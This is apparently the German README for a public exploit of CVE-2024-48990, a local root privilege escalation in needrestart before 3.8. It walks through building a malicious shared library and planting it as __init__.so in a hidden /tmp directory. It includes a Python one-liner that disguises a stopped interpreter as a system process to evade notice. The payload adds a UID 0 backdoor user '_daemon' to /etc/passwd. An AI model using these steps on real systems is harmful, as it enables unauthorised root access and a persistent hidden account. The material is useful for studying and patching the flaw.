
Exploit für CVE-2024-48990 (Lokale Privilegieneskalation in needrestart < 3.8)
Exploit für CVE-2024-48990 (lokale Privilegieneskalation in needrestart < 3.8)
Siehe https://blog.qualys.com/vulnerabilities-threat-research/2024/11/19/qualys-tru-uncovers-five-local-privilege-escalation-vulnerabilities-in-needrestart. Qualys erklärt das sehr gut.
TLDR;
Auf Systemen mit needrestart kleiner als 3.8 können lokale Benutzer beliebigen Code ausführen und ohne Benutzerinteraktion root-Rechte erlangen.

Der Exploit in seiner aktuellen Form fügt dem System einen neuen Benutzer namens "_daemon" mit UID/GID 0 (root) hinzu, indem er mit einem sed-Befehl die Datei /etc/passwd bearbeitet. Das Passwort ist dasselbe wie der Benutzername. Ich bin nicht einmal sicher, ob man es als Exploit bezeichnen kann, da es nur eine Shared Library ist, die einen einzelnen Befehl ausführt.
Um den Exploit selbst zu kompilieren, führe Folgendes aus:
gcc exploit.c -o exploit.so -shared -fPIC -s
mkdir -p /tmp/.X11-Unix/importlib
Du könntest jedes langlaufende Python-Skript ausführen. Um in der Prozessliste jedoch weniger verdächtig auszusehen, kannst du diesen Einzeiler verwenden, um einen Python-Interpreter zu starten, der sofort nach dem Start angehalten wird (so dass er nie wirklich etwas ausführt).
PYTHON - Der Pfad zum Python-Interpreter
ARGV - Die Zeichenkette, die in der Prozessliste erscheinen wird
PYPATH - Der Pfad zu dem von dir erstellten Verzeichnis (ohne das importlib-Verzeichnis)
Für ARGV stelle sicher, dass:
der Pfad zum Python-Interpreter das erste Argument in ARGV ist
das zweite Argument (das "Skript") eine Datei ist, die tatsächlich auf dem System existiert (needrestart prüft das). Es muss kein echtes Python-Skript sein.
das zweite Argument nicht mit einem bereits laufenden Prozess übereinstimmt (needrestart verwendet dann den bereits gesehenen Prozess aus dem Cache).
Abgesehen davon kannst du mit ARGV so viel herumspielen, wie du willst. Vielleicht lässt du es wie einen normalen Systemprozess aussehen?
PYPATH=/tmp/e/ PYTHON=/usr/bin/python3 ARGV='/usr/bin/python3 /usr/bin/networkd-dispatcher --run-startup-triggers' python3 -c 'import os,ctypes; libc=ctypes.CDLL("libc.so.6"); pid=os.fork(); exit() if pid > 0 else print("\n",os.getpid()); libc.ptrace(0, 0, 0, 0); os.execvpe(os.environ["PYTHON"], os.environ["ARGV"].split(), {"PYTHONPATH":os.environ["PYPATH"]})'
Es muss sich im importlib-Verzeichnis befinden und "init.so" heißen
mv /tmp/exploit.so /tmp/.X11-Unix/importlib/__init__.so
Beim nächsten Ausführen von needrestart (z. B. wenn ein Update mit apt oder unattended-upgrades es startet) führt es Python mit der PYTHONPATH-Variable unseres Prozesses aus und lädt die Datei init.so, die unseren Befehl ausführt. Du kannst dich dann mit den Zugangsdaten _damon:_daemon anmelden.
needrestart ist nicht völlig dumm und prüft ein paar Dinge, wenn es Prozesse scannt und bevor es in den verwundbaren Teil des Codes eintritt